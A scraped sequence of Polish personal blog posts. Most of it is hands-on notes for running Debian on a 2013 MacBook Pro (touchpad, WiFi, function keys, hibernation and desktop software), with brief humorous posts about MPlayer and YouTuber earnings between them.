Option "LBCornerButton" "0"
Option "MinSpeed" "0.7"
Option "MaxSpeed" "1.7"
Option "SHMConfig" "on"
Option "TapAndDragGesture" "off"
Option "PalmDetect" "on"
Option "PalmMinWidth" "8"
Option "PalmMinz" "200"
EndSection

Ostatnie 3 linijki mają ogromne znaczenie przy pisaniu na klawiaturze ponieważ â€žPalmDetectâ€? włącza wykrywanie przypadkowych dotknięć touchpadu przy pisaniu na klawiaturze. Pozostałe dwa to szerokość dotknięcia i siła nacisku.

Ustawienia te można obserwować za pomocą narzędzia: evtest.

apt-get install evtest evetet /dev/input/event8

(/dev/input8 to u mnie Touchpad)

WiFi

Ta część już się zdeaktualizowała, sterownik jest w nowym kernelu.
apt-get install -t jessie-backports broadcom-sta-dkms

Ale nie kompiluje się sterownik do karty WiFi.

:(pactl set-sink-mute 1 toggle

Powrót do kernela 3.17.4.

I od razu skasowanie nieudanego 3.18.36:

ap-get purge -auto-remove linux-image-3.18.*

Jeśli robiło się już:

apt-get install firmware-linux-nonfree broadcom-sta-dkms

to ponowna kompilacja modułów do kernela 3.17.4:


dkms build broadcom-sta -v 6.30.223.248 -k 3.17.4

KLAWIATURA

Przełączenie klawiszy funkcyjnych w działanie podobne jak w macOS czyli tylko z wciśniętym kalwiszem Fn funkcyjny np. F1 daje dodatkową funkcję, np. zmniejszenie jasności ekranu.

Doinstalowuję pakiet do systemu sysfs:
apt-get install sysfsutils

a do /etc/sysfs.conf dopisuję linię:
module/hid_apple/parameters/fnmode = 2

(można to zrobić na kilka sposobów, tu jest dokładny opis:
https://help.ubuntu.com/community/AppleKeyboard)

Reboot i... wszystko na razie działa!

Sysfs przyda się jeszcze do podpięcia klawiszy obsługujących funkcje specjalne,
takich jak: jasność ekranu, podświetlanie klawiatury, głośność, hibernacja/wyłączenie.
Najpierw kody klawiszy wyłapane za pomocą:
xev | sed -n 's/^.*keycode *\([0-9]\+\).*$/keycode \1 = /p'

Fn+F1 = 232
Fn+F2 = 233
Fn+F3 = 128
Fn+F4 = 212
Fn+F5 = daje nic
Fn+F6 = daje nic
Fn+Shift+F5 = 237
Fn+Shift+F6 = 238
Fn+F7 = 173
Fn+F8 = 172
Fn+F9 = 171
Fn+F10 = 121
Fn+F11 = 122
Fn+F12 = 123

Nie używam Capslocka więc go wyłączam w ~/.Xmodmap:
keycode 66 =

Podświetlanie
Wpisy w ~/.Xmodmap:
keycode 232 = XF86MonBrightnessDown
keycode 233 = XF86MonBrightnessUp
keycode 237 = XF86KbdBrightnessDown
keycode 238 = XF86KbdBrightnessUp

Wpisy w ~/.i3/config (używałem kiedyś window managera i3):
bindsym XF86MonBrightnessUp exec sudo screen-backlight up
bindsym XF86MonBrightnessDown exec sudo screen-backlight down
bindsym XF86KbdBrightnessDown exec sudo keyboard-backlight down
bindsym XF86KbdBrightnessUp exec sudo keyboard-backlight up

Do /usr/local/bin skopiowałem dwa skrypty, których zadaniem jest wpisywanie
odpowiednich wartości w sysfs. Jeden kontroluje jasność monitora, drugi jasność
podświetlenia klawiatury.
Ich nazwy to odpowiednio: screen-backlight:
https://raw.githubusercontent.com/jessfraz/dotfiles/master/bin/screen-backlight
i keyboard-backlight:
https://raw.githubusercontent.com/jessfraz/dotfiles/master/bin/keyboard-backlight

Za pomocą visudo dodaję odpowiednie wpisy by uruchamiać je na prawach roota bez podawania hasła:
paczor ALL= NOPASSWD: /usr/local/bin/keyboard-backlight
paczor ALL= NOPASSWD: /usr/local/bin/screen-backlight

Klawiatura + dźwięk
W ~/.Xmodmap
keycode 121 = XF86AudioMute
keycode 122 = XF86AudioLowerVolume
keycode 123 = XF86AudioRaiseVolume
W ~/.i3/config:
# dla PulseAudio:
bindsym XF86AudioMute exec pactl set-sink-mute 1 toggle
# dla Alsa
bindsym XF86AudioMute exec amixer -c 0 -- set Master toggle
bindsym XF86AudioLowerVolume exec amixer -c 0 -- set Master 2-
bindsym XF86AudioRaiseVolume exec amixer -c 0 -- set Master 2+

Mam problem z mute, zrobiłem to raz i karta już milczy. Musiałem zrobić reset SMC (wyłączony komputer i trzymając Shift+Alt+Command naciskam Power) i PRAM (wyłączony komputer, włączam i jak usłyszę dźwięk staru trzymam Alt+Command+P+R aż usłyszę drugi dźwięk startu i wtedy puszczam). Nie wiem czy to potrzebne ale wolałem zaczynać z czystym kontem. Musiałem też ponownie użyć Refinda.
Zainstalowałem pulseaudio: apt-get install pulseaudio i zainstalowałem:
apt-get install alsa-firmware-loaders
 Reboot i pomogło!

Hibernacja:

Najlepiej zacząć od zmiany domyślnej konfiguracji. Uwaga, gdy używałem zamkniętych sterowników Nvidii hibernacja zakończyła się ostatecznie całkowitą rozwałką sytemu. Po przejściu na Intela na razie nie miałem tak tragicznych konsekwencji ale system po zamknięciu klapy laptopa nie przechodził z trybu Suspend w Hibernate. Podejrzewam, że miałem źle skonfigurowane dwa główne pliki. Ale do rzeczyâ€¦

Konfigurujemy dwa pliki:

sudo vim  /etc/systemd/sleep.conf
sudo vim  /etc/systemd/logind.conf

W sleep.conf zezwalamy zarówno na Suspend, jak i na Hibernate oraz ustalamy po jakim czasie system będący w Suspend przejdzie w Hibernate jeśli nie nastąpi jakieś przerywające uśpienie zdarzenie (u mnie jest to 10 minut):

[Sleep]
AllowSuspend=yes
AllowHibernation=yes
AllowSuspendThenHibernate=yes
#AllowHybridSleep=yes
#SuspendMode=
#SuspendState=mem standby freeze
#HibernateMode=platform shutdown
#HibernateState=disk
#HybridSleepMode=suspend platform shutdown
#HybridSleepState=disk
HibernateDelaySec=10m

Natomiast w pliku logind.conf ustawiamy wybrane tryby i zdarzenia, które wyzwalają te tryby. Zdarzeniami są najczęściej: wciśniecie klawisza/przycisku albo zamknięcie pokrywy laptopa.

[Login]
#NAutoVTs=6
#ReserveVT=6
#KillUserProcesses=no
#KillOnlyUsers=
#KillExcludeUsers=root
#InhibitDelayMaxSec=5
HandlePowerKey=suspend-then-hibernate
HandleSuspendKey=suspend-then-hibernate
HandleHibernateKey=suspend-then-hibernate
HandleLidSwitch=suspend-then-hibernate
HandleLidSwitchDocked=ignore
#PowerKeyIgnoreInhibited=no
#SuspendKeyIgnoreInhibited=no
#HibernateKeyIgnoreInhibited=no
#LidSwitchIgnoreInhibited=yes
#HoldoffTimeoutSec=30s
IdleAction=suspend-then-hibernate
IdleActionSec=10min
#RuntimeDirectorySize=10%
#RemoveIPC=yes
#InhibitorsMax=8192
#SessionsMax=8192
#UserTasksMax=33%

Przydatne informacje są w manualach:

man systemd-sleep.conf
man logind.conf

Polecenie uaktualniające po zmianie konfiguracji, może nastąpić uśpienie albo hibernacja - zależnie od wprowadzonych zmian:

sudo systemctl restart systemd-logind.service

Wyświetlenie statusu obsługi:

sudo systemctl status systemd-logind.service

U mnie zwraca to:

â systemd-logind.service - Login Service
   Loaded: loaded (/lib/systemd/system/systemd-logind.service; static; vendor preset: enabled)
   Active: active (running) since Fri 2020-06-12 00:27:31 CEST; 11h ago
     Docs: man:systemd-logind.service(8)
           man:logind.conf(5)
           https://www.freedesktop.org/wiki/Software/systemd/logind
           https://www.freedesktop.org/wiki/Software/systemd/multiseat
 Main PID: 963 (systemd-logind)
   Status: "Processing requests..."
    Tasks: 1 (limit: 4915)
   Memory: 3.2M
   CGroup: /system.slice/systemd-logind.service
           ââ963 /lib/systemd/systemd-logind

Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event0 (Lid Switch)
Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event2 (Sleep Button)
Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event7 (Apple Inc. Apple Internal Keyboard / Trackpad)
Jun 12 00:27:31 eclipse systemd[1]: Started Login Service.

Jak widać obserwowane są:

Lid Switch - czyli klapa lapa
Sleep Button - czyli główny wyłącznik
Apple Internal Keyboard/Trackpad - klawiatura i trackpad, po to żeby wybudzić z uśpienia czyli przerwać odliczanie do hibernacji (to ustawione wcześniej 10 minut)

Polecenie wyłączające suspend i hibernację:

sudo systemctl unmask sleep.target suspend.target hibernate.target hybrid-sleep.target

To raczej ostateczność: https://itsfoss.com/ubuntu-close-lid-suspend/

PROBLEMY

Problemy z przerwaniami

Chłodzenie Macbooka często â€žwietrzyłoâ€? komputer i pożerało cenne Ampery. Musiałem, jako root, dodać do crontaba linię wyłączającą przerwanie 06:

@reboot echo "disable" > /sys/firmware/acpi/interrupts/gpe06

Pomogło!

https://unix.stackexchange.com/questions/242013/disable-gpe-acpi-interrupts-on-boot

https://www.google.com/search?client=ubuntu&channel=fs&q=linux+disable+acpi+interrrupt&ie=utf-8&oe=utf-8

Różne porady

https://martinralbrecht.wordpress.com/2014/05/03/debiantesting-on-macbook-pro-113/
https://apfelkraut.org/2017/06/howto-debian-gnulinux-stretch-as-dual-boot-on-a-macbookpro113/
https://blog.sviluppoweb.eu/2014/02/20/debian-on-macbook-pro-retina-15/
https://int3ractive.com/2019/12/things-to-do-after-installing-ubuntu-mate.html
https://blog.jessfraz.com/post/linux-on-mac/
https://linuxnewbieguide.org/how-to-install-linux-on-a-macintosh-computer/

Systemd

https://www.dobreprogramy.pl/mariushko/Poradnik-systemd-cz.-1,67627.html

https://wiki.archlinux.org/index.php/Systemd/User

SOFTWARE

MUTT (wolę Alpine)

Instalacja mutta i konfigurowanie wielu kont. Tu podparłem się doskonałą stroną: https://www.df7cb.de/blog/2010/Using_multiple_IMAP_accounts_with_Mutt.html

Wszystko pięknie zadziałało.

Do mutta dołożyłem książkę adresową zasysaną z Ownclouda wg. tego przepisu: https://got-tty.org/mutt-kontakte-aus-owncloud-nutzen (po niemiecku ale wszystko zrozumiałe).

Oglądanie urli za pomocą linksa albo lynxa:

apt-get install urlview

Do ~/.muttrc:

macro pager \cu |urlview\n

Skopiowałem /etc/urlview/system.urlview i /etc/urlview/url_handler.sh lokalnie bo chciałem zmienić kolejność szukanych browserów, a nie chcę ustawiać zmiennej BROWSER.

p.s. Na koniec i tak wróciłem do Alpine i chwalę sobie. Działa przepięknie, konfigurację opisałem w innym artykule:

FIREFOX + VIMPERATOR (Tridactyl lepszy)

Vimperator ma buga: w trybie pełnoekranowym F11 znika statusbar i przestają działać hinty. Rozwiązaniem jest zablokowanie automatycznego

chowania się statusbaru. W vimperatorze wydajemy komendę:

:set statuslinevisibility=visible

i zachowujemy do pliku konfiguracyjnego:

mkvimperatorrc

p.s. Przerzuciłem się na Tridactyla: https://github.com/tridactyl/tridactyl

VPN:

Używam skomplikowanego systemu skryptów, który jest łatwy w obsłudze. Opiszę to kiedyś, jeśli pokonam uczucie żenady w jaki sposób to działa albo przepiszę pod Pythonem.

https://site.elastichosts.com/blog/linux-l2tpipsec-vpn-client/

Xmonad:

Używam xmonada bo jest szalenie piękny! Konfiguracja trwała długo i jeszcze nie jest pełna. Opis zajmie osobny wpis. Tutaj wstęp i sugestia:

https://xiangji.me/2018/11/19/my-xmonad-configuration/

Rofi i skrypty

Posiadam sporą kolekcję skryptów w Bashu wykorzystujących Rofi switcher: https://github.com/davatorium/rofi

rofi do VPN (skrypt wyświetlający połączone VPN-y),
rofi do Mikrotika (steruję zdalnie routerem),
rofi do wyświetlania Helpa (jeden skrót i widzę podpowiedzi),
rofi do qalc (jeden skrót i liczę oraz konwertuję).

khal, vdirsyncer oraz keyring

Używam khal do obsługi kalendarzy w chmurze, vdirsyncer synchronizuje zarówno kalendarze jak i książkę adresową, a keyring sprawia, że nie muszę wpisywać hasła. Polecam.

MariaDB

Po â€žsudo rebootâ€? bardzo długo zamyka się system, wyświetlając komunikat: â€œA stop job is running to â€¦â€?. Pomaga to:

sudo dpkg-reconfigure tzdata

Nextcloud client:

cat /etc/apt/sources.list.d/nextcloud-devs-ubuntu-client-groovy.list
deb http://ppa.launchpad.net/nextcloud-devs/client/ubuntu groovy main
#deb-src http://ppa.launchpad.net/nextcloud-devs/client/ubuntu groovy main

sudo gpg --keyserver keyserver.ubuntu.com --recv 60EE47FBAD3DD469
sudo gpg --export --armor 60EE47FBAD3DD469 | sudo apt-key add -

VirtualBox:

cat /etc/apt/sources.list.d/virtualbox.list
deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian buster contrib

wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get install virtualbox-6.1
wget https://download.virtualbox.org/virtualbox/6.1.6/Oracle_VM_VirtualBox_Extension_Pack-6.1.6.vbox-extpack
sudo virtualbox Downloads/Oracle_VM_VirtualBox_Extension_Pack-6.1.6.vbox-extpack
sudo usermod -a -G vboxusers $USER

Partycje APFS:

Dostęp do partycji Apple Filesystem:

https://linuxnewbieguide.org/how-to-mount-macos-apfs-disk-volumes-in-linux

APFS z dysku: https://github.com/sgan81/apfs-fuse

sudo apt install fuse libfuse3-dev bzip2 libbz2-dev cmake git libattr1-dev zlib1g-dev
git clone https://github.com/sgan81/apfs-fuse.git
cd apfs-fuse
git submodule init
git submodule update
mkdir build
cd build
cmake ..
# jeśli chcesz zmienić ustawienia to:
# sudo apt install cmake-curses-gui
# ccmake .
make
sudo make install
sudo cp apfsutil /usr/local/bin
# wylistowanie dostępnych partycji i nazw woluminów
sudo apfsutil /dev/sdc2

Volume 4 FD331FC1-1327-45D7-7538-E6B19B5139F6
---------------------------------------------
Role:               No specific role
Name:               MEDIA-torba (Case-insensitive)
Capacity Consumed:  18652901376 Bytes
FileVault:          No

Volume 5 AA7F7F57-D871-4570-A6C9-CAC113F57167
---------------------------------------------
Role:               No specific role
Name:               VIRT-torba (Case-insensitive)
Capacity Consumed:  174489903104 Bytes
FileVault:          No


i montując należy podać nazwę voluminu, np. żeby zamontować volume 5:
sudo apfs-fuse -o uid=1000,gid=1000,allow_other -v 5 /dev/sdc2 /mnt/torba
# opcje po -o, pozwalają na dostęp userom
A na stałe dodać do /etc/fstab:

mount.apfs#/dev/sdc2    /mnt/apple_hd   fuse  user,allow_other  0  0

an2linux

Czyli powiadomienia z Androida na laptopie:`https://github.com/rootkiwi/an2linuxserver <https://github.com/rootkiwi/an2linuxserver>`__

instalacja w systemd:`https://github.com/rootkiwi/an2linuxserver/tree/master/init/systemd-user <https://github.com/rootkiwi/an2linuxserver/tree/master/init/systemd-user>`__

TLPd (energia)

Nie próbowałem.

https://linrunner.de/tlp/

Bzdurki

Fortunki: https://github.com/maxieds/math-fortune-mod

Cool Rerto Term: https://github.com/Swordfish90/cool-retro-term

Nie ma playera nad mplayera

2021-01-28T11:56:00+01:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Na jednym ze znanych portali pojawił się artykuł wychwalający polskie odtwarzacze wideo. Rzeczywiście, coś było pod Windows, co było niezłe i czego podobno, z powodzeniem, używał też świat.

Czytając tekst o najlepszym playerze, jakim był SubEdit Player, uświadomiłem sobie, że widzę okres największej sławy programu z zupełnie innej perpsektywy bo...

...bo "siedziałem" na Linuksie. Na nim niepodzielnie królował MPlayer. Domenę mplayerhq.hu znałem na pamięć i śniła mi się po nocach. No, może przesadziłem, ale tylko trochę.

MPlayera kompilowałem dziesiątki razy, próbując w ten sposób wycisnąć z moich maszyn ostatnie cykle. Był, czy raczej jest, szybki jak gazela, zwinny jak fredka i wciąż ma najlepszy interfejs na świecie! Bo ŻADEN.

Interfejs w MPlayerze to niedoścignionie cudo projektowania UX. Gdy używam MPlayera, pomysły Jonathana Ive - tego od iMaca - wyglądają jak lameriada, jak tanie plastikowe zabawki z Chin. Taki design kocha się od pierwszego użycia. No bo jak nie kochać pomysłu, aby w programie do wyświetlania filmu nie zasłaniać ekranu niepotrzebnymi gadżetami?

W MPlayerze operuje się klawiszami, nie skrótami, które wyginają palce i przyśpieszają artretyzm, ale pojedynczymi klawiszami. Dla przykładu gdy chcę zobaczyć ile filmu jeszcze zostało do końca? Naciskam literę "o". Chcę przewinąć do przodu, naciskam strzałkę w prawo, chcę przewinąć ale o dłuższy czas - naciskam strzałkę w górę. Kto myśli, że to niewygodne niech obsłuży swojego playera jedną ręką, skoro w drugiej trzyma butelkę z piwem.

MPlayera można obsłużyć dużym paluchem u nogi, małym nie próbowałem.

Ale jest jeszcze jedna niespodzianka, za którą tak kocha się MPlayera: skróty są intuicyjne. Serio! Zupełnie jak w VIM-ie. Steve Jobs złapałby się za trzustkę z zazdrości gdyby miał MPlayera. Kto używa VIM-a ten wie, że "b" to

Youtuberzy

2020-12-11T00:43:00+01:00

Jeśli na pytanie "kim chcesz zostać jak dorośniesz?" dziecko odpowie ci, że Youtuberem, palnij je w łeb i daj do przeczytania tę krótką notatkę.

Nowe badania pokazują, że przygnębiająco trudno jest zarobić na przyzwoite życie będąc YouTuberem, donosi Bloomberg. Badania przeprowadzone przez Mathiasa BÃ¤rtla, profesora Uniwersytetu Nauk Stosowanych w Offenburgu w Niemczech, ujawniają kilka przygnębiających statystyk:

96,5% YouTuberów zarabia mniej niż 12140 dolarów w rok (federalna granica ubóstwa),

tylko 3% najbardziej oglądanych kanałów przynosi dochody z reklam w wysokości około 16 800 dolarów rocznie.

To jest pomimo tego, że najlepsze 3% generuje średnio 1,4 miliona odsłon miesięcznie.

Najlepszy 1% twórców YouTube otrzymuje od 2,2 mln do 42,1 mln odsłon miesięcznie (w 2016).

Dolne 85% twórców YouTube zdobywało średnio tylko 485 odsłon miesięcznie.

Krótko mówiąc, milionowe gwiazdy YouTube, są wyjątkiem, a nie regułą.

Jeśli masz córkę to namów ją na szycie zasłon, jeśli chłopaka - niech się weźmie za malowanie wnętrz albo hydraulikę.

Kalkulator: https://influencermarketinghub.com/youtube-money-calculator/

Screenshot strony, w razie gdyby przestała działać:

Debian na Macbooku Pro Late 2013 cz.4

2020-12-08T08:06:00+01:00

Niniejszy artykuł powstał ponad rok temu i przeleżał wszystkie te mesiące w postaci szkicu, uzupełnianego o nowe pozycje. Nowości pojawiały się w nim w miarę jak dostrajałem Macbooka do swoich skromnych potrzeb, a były to:

pozbycie się macOS, systemu który przestał być wygodny,
działające X-y z możliwością przełączenia na konsolę (to się nie udało i raczej już nie uda),
Xmonad jako Window Manager, xmobar jako centrum informacyjne,
działające specjalne funkcje (regulacja podświelenia klawiatury, monitora, regulacja dźwięku, itd.),
trackpad działający równie gładko jak w macOS (udało się połowicznie),
działające WiFi,
działająca hibenacja
drobne usprawnienia software'owe.

Instalację wykonałem podobnie jak w opisie z (https://blog.jessfraz.com/post/linux-on-mac/), tzn. że również mam refinda jako bootmanagera, trochę tylko podkoloryzowanego, żeby robić wrażenie.

Terminal

Zmieniłem fonty w konsoli na czytelne. Można jednorazowo:

setfont /usr/share/consolefonts/Lat7-Terminus28x14.psf

lub na stałe:

dpkg-reconfigure -plow console-setup

Sprawdź jak ustawiać kolory w konsoli: http://user.it.uu.se/~embe8573/cols/www/index.html:

Linux VTs

    big Linux VT tutorial: COLORS with zsh tools
    ~/cols/ run - script to invoke (see the # comments)
    ~/cols/ set_cols.sed - sed program to set the colors
    color sets
    ls(1) colors (VTs and X) with dircolors(1)

xterm

    ~/.Xresources - invoke in ~/.xinitrc with xrdb

Emacs

    emacs-test-faces.el - looks like this
    captain-mr-king.el - looks like this

Xorg

Nvidia

Xorg działało od razu na driverze nouveau czyli opensourcowym sterowniku dla Nvidii.
Zachciało mi się jednak oryginalnego sterownika. Mimo wielu prób nie kopilowały mi się moduły jądra. Podczas kompilacji wyskakiwał błąd, że brak jest pliku include/generated/autoconf.h, chociaż plik jak najbardziej był na właściwym miejscu.
Nie chciało mi się kopać z koniem, inni też się wymęczyli, więc użyłem repozytorium jessie-backports (wg.: https://wiki.debian.org/NvidiaGraphicsDrivers#jessie-352):

do /etc/apt/sources.list dodałem:

deb http://httpredir.debian.org/debian jessie-backports main contrib non-free

apt-get update

apt-get install -t jessie-backports nvidia-driver

Trzeba usunąć /etc/X11/xorg.conf, bez niego server X używa domyślnych ustawień i działa prawidłowo.
Na konfigurację przyjdzie jeszcze czas...
Przerzuciłem się na zamknięty sterownik od NVidii (ten z .run na końcu). Jest OK ale nadal nie działa przechodzenie między X-ami, a konsolą. Podobno ten trick załatwia sprawę:

setpci -v -H1 -s 00:01.00 BRIDGE_CONTROL=0

Aktualizacja: niestety, to nie działa.

WiFi

apt-get install -t jessie-backports broadcom-sta-dkms

Ale nie kompiluje się sterownik do karty WiFi.

:(pactl set-sink-mute 1 toggle

Powrót do kernela 3.17.4.

I od razu skasowanie nieudanego 3.18.36:

ap-get purge --auto-remove linux-image-3.18.*

Jeśli robiło się już:

apt-get install firmware-linux-nonfree broadcom-sta-dkms

to ponowna kompilacja modułów do kernela 3.17.4:

dkms build broadcom-sta -v 6.30.223.248 -k 3.17.4

Teraz przełączenie klawiszy funkcyjnych w działanie takie jak w PC czyli tylko z wciśniętym Fn funkcyjny daje dodatkową funkcję.

Doinstalowuję pakiet do systemu sysfs: apt-get install sysfsutils a do /etc/sysfs.conf dopisuję linię: module/hid_apple/parameters/fnmode = 2 (można to zrobić na kilka sposobów, tu jest dokładny opis: https://help.ubuntu.com/community/AppleKeyboard) Reboot i... wszystko na razie działa!

Sysfs przyda się jeszcze do podpięcia klawiszy obsługujących funkcje spacjalne, takich jak: jasność ekranu, podświetlanie klawiatury, głośność, hibernacja/wyłączenie.

KLAWIATURA
Najpierw kody klawiszy wyłapane za pomocą:
xev | sed -n 's/^.*keycode *\([0-9]\+\).*$/keycode \1 = /p'

Fn+F1 = 232
Fn+F2 = 233
Fn+F3 = 128
Fn+F4 = 212
Fn+F5 = daje nic
Fn+F6 = daje nic
Fn+Shift+F5 = 237
Fn+Shift+F6 = 238
Fn+F7 = 173
Fn+F8 = 172
Fn+F9 = 171
Fn+F10 = 121
Fn+F11 = 122
Fn+F12 = 123

Nie używam Capslocka więc go wyłączam w ~/.Xmodmap:
keycode 66 =
Podświetlanie
Wpisy w ~/.Xmodmap:
keycode 232 = XF86MonBrightnessDown
keycode 233 = XF86MonBrightnessUp
keycode 237 = XF86KbdBrightnessDown
keycode 238 = XF86KbdBrightnessUp

Wpisy w ~/.i3/config
bindsym XF86MonBrightnessUp exec sudo screen-backlight up
bindsym XF86MonBrightnessDown exec sudo screen-backlight down
bindsym XF86KbdBrightnessDown exec sudo keyboard-backlight down
bindsym XF86KbdBrightnessUp exec sudo keyboard-backlight up

Do /usr/local/bin skopiowałem dwa skrypty, których zadaniem jest wpisywanie
odpowiednich wartości w sysfs. Jeden kontroluje jasność monitora, drugi jasność
podświetlenia klawiatury.
Ich nazwy to odpowiednio: screen-backlight i keyboard-backlight.
Za pomocą visudo dodaję odpowiednie wpisy by uruchamiać je na prawach roota bez podawania hasła:
paczor ALL= NOPASSWD: /usr/local/bin/keyboard-backlight
paczor ALL= NOPASSWD: /usr/local/bin/screen-backlight

Klawiatura + dźwięk

W ~/.Xmodmap

keycode 121 = XF86AudioMute
keycode 122 = XF86AudioLowerVolume
keycode 123 = XF86AudioRaiseVolume

W ~/.i3/config:

# dla PulseAudio:
bindsym XF86AudioMute exec pactl set-sink-mute 1 toggle
# dla Alsa
bindsym XF86AudioMute exec amixer -c 0 -- set Master toggle
bindsym XF86AudioLowerVolume exec amixer -c 0 -- set Master 2-
bindsym XF86AudioRaiseVolume exec amixer -c 0 -- set Master 2+

Mam problem z mute, zrobiłem to raz i karta już milczy. Musiałem zrobić reset SMC (wyłączony komputer i trzymając Shift+Alt+Command naciskam Power) i PRAM (wyłączony komputer, włączam i jak usłyszę dźwięk staru trzymam Alt+Command+P+R aż usłyszę drugi dźwięk startu i wtedy puszczam). Nie wiem czy to potrzebne ale wolałem zaczynać z czystym kontem. Musiałem też ponownie użyć Refinda.
Zainstalowałem pulseaudio: apt-get install pulseaudio i zainstalowałem: apt-get install alsa-firmware-loaders Reboot i pomogło!

TOUCHPAD

W /etc/X11/xorg.conf.d dodałem dwa pliki, właściwie to pozostałość po porzednich próbach i spokojnie można oba skonsolidować.

W 50-synaptics-clickpad.conf:

Section "InputClass"
Identifier "touchpad catchall"
Driver "synaptics"
MatchIsTouchpad "on"
# Option "VertScrollDelta" "-111"
# Option "HorizScrollDelta" "-111"
# Option "MinSpeed" "0.5"
# Option "MaxSpeed" "1.0"
# Option "AccelFactor" "0.075"
# Option "LBCornerButton" "8"
# browser "back" btn
# Option "RBCornerButton" "9"
# browser "forward" btn
EndSection

a w 60-synaptics.conf:

Section "InputClass"
Identifier "touchpad"
Driver "synaptics"
MatchIsTouchpad "on"
MatchDevicePath "/dev/input/event*"
Option "FingerHigh" "50"
Option "TapButton1" "1"
Option "TapButton2" "2"
Option "TapButton3" "3"
Option "RTCornerButton" "0"
Option "RBCornerButton" "0"
Option "LTCornerButton" "0"
Option "LBCornerButton" "0"
Option "MinSpeed" "0.7"
Option "MaxSpeed" "1.7"
Option "SHMConfig" "on"
Option "TapAndDragGesture" "off"
Option "PalmDetect" "on"
Option "PalmMinWidth" "8"
Option "PalmMinz" "200"
EndSection

Ostatnie 3 linijki mają ogromne znaczenie przy pisaniu na klawiaturze ponieważ "PalmDetect" włącza wykrywanie przypadkowych dotknięć touchpadu przy pisaniu na klawiaturze. Pozostałe dwa to szerokość dotknięcia i siła nacisku.

Ustawienia te można obserwować za pomocą narzędzia: evtest.

apt-get install evtest evetet /dev/input/event8

(/dev/input8 to u mnie Touchpad)

MUTT (wolę Alpine)

Instalacja mutta i konfigurowanie wielu kont. Tu podparłem się doskonałą stroną: https://www.df7cb.de/blog/2010/Using_multiple_IMAP_accounts_with_Mutt.html

Wszystko pięknie zadziałało.

Do mutta dołożyłem książkę adresową zasysaną z Ownclouda wg. tego przepisu: https://got-tty.org/mutt-kontakte-aus-owncloud-nutzen (po niemiecku ale wszystko zrozumiałe).

Oglądanie urli za pomocą linksa albo lynxa:

apt-get install urlview

Do ~/.muttrc:

macro pager \cu |urlview\n

Skopiowałem /etc/urlview/system.urlview i /etc/urlview/url_handler.sh lokalnie bo chciałem zmienić kolejność szukanych browserów, a nie chcę ustawiać zmiennej BROWSER.

FIREFOX + VIMPERATOR (Tridactyl lepszy)

Vimperator ma buga: w trybie pełnoekranowym F11 znika statusbar i przestają działać hinty. Rozwiązaniem jest zablokowanie automatycznego

chowania się statusbaru. W vimperatorze wydajemy komendę:

:set statuslinevisibility=visible

i zachowujemy do pliku konfiguracyjnego:

:mkvimperatorrc

XSCREENSAVER

Chcę, żeby startował automatycznie po zalogowaniu się do sesji X-ów.

Tworzę katalog:

mkdir ~/.config/systemd/user

a w nim plik: xscreensaver.service z następującą zawartością:

[Unit]
Description=XScreenSaver Daemon
[Service]
ExecStart=/usr/bin/xscreensaver --no-splash
[Install]
WantedBy=default.target

Następnie włączam serwis:

systemctl --user enable xscreensaver.service

i uruchamiam:

systemctl --user start xscreensaver.service

Przejście na Display Managera: sddm

dpkg-reconfigure sddm

własny temat: https://jlk.fjfi.cvut.cz/arch/manpages/man/sddm.conf.5

w /etc/sddm.conf dodać wpis:

[Theme]
Current=debian-paczor
FacesDir=/home/paczor/Pictures/faces

Tematy są w: /usr/share/sddm/themes/

Skopiowałem debian-breeze jako debian-paczor i zmieniam konfigurację jak chcę.

Pomocne linki:

Hibernacja:

Najlepiej zacząć od zminy domyślnej konfiguracji. Uwaga, gdy używałem zamkniętych sterowników Nvidii hibernacja zakończyła się ostatecznie całkowitą rozwałką sytemu. Po przejściu na Intela na razie nie miałem tak tragicznych konsekwencji ale system po zamknięciu klapy laptopa nie przechodził z trybu Suspend w Hibernate. Podejrzewa, że miałem źle skonfigurwane dwa główne pliki. Ale do rzeczy...

Konfigurujemy dwa pliki:

sudo vim  /etc/systemd/sleep.conf
sudo vim  /etc/systemd/logind.conf

[Sleep]
AllowSuspend=yes
AllowHibernation=yes
AllowSuspendThenHibernate=yes
#AllowHybridSleep=yes
#SuspendMode=
#SuspendState=mem standby freeze
#HibernateMode=platform shutdown
#HibernateState=disk
#HybridSleepMode=suspend platform shutdown
#HybridSleepState=disk
HibernateDelaySec=10m

Natomiast w pliku logind.conf ustawiamy wybrane tryby i zdarzenia, które wyzwalają te tryby. Zdarzeniami są najczęściej: wciśniecie klawisza/przycisku albo zamknięcie pokrywy laptopa.

[Login]
#NAutoVTs=6
#ReserveVT=6
#KillUserProcesses=no
#KillOnlyUsers=
#KillExcludeUsers=root
#InhibitDelayMaxSec=5
HandlePowerKey=suspend-then-hibernate
HandleSuspendKey=suspend-then-hibernate
HandleHibernateKey=suspend-then-hibernate
HandleLidSwitch=suspend-then-hibernate
HandleLidSwitchDocked=ignore
#PowerKeyIgnoreInhibited=no
#SuspendKeyIgnoreInhibited=no
#HibernateKeyIgnoreInhibited=no
#LidSwitchIgnoreInhibited=yes
#HoldoffTimeoutSec=30s
IdleAction=suspend-then-hibernate
IdleActionSec=10min
#RuntimeDirectorySize=10%
#RemoveIPC=yes
#InhibitorsMax=8192
#SessionsMax=8192
#UserTasksMax=33%

Przydatne informacje są w manualach:

man systemd-sleep.conf
man logind.conf

Polecenie uaktualniające po zmianie konfiguracji, może nastąpić uśpienie albo hibernacja - zależnie od wprowadzonych zmian:

sudo systemctl restart systemd-logind.service

Wyświetlenie statusu obsługi:

sudo systemctl status systemd-logind.service

U mnie zwraca to:

â systemd-logind.service - Login Service
   Loaded: loaded (/lib/systemd/system/systemd-logind.service; static; vendor preset: enabled)
   Active: active (running) since Fri 2020-06-12 00:27:31 CEST; 11h ago
     Docs: man:systemd-logind.service(8)
           man:logind.conf(5)
           https://www.freedesktop.org/wiki/Software/systemd/logind
           https://www.freedesktop.org/wiki/Software/systemd/multiseat
 Main PID: 963 (systemd-logind)
   Status: "Processing requests..."
    Tasks: 1 (limit: 4915)
   Memory: 3.2M
   CGroup: /system.slice/systemd-logind.service
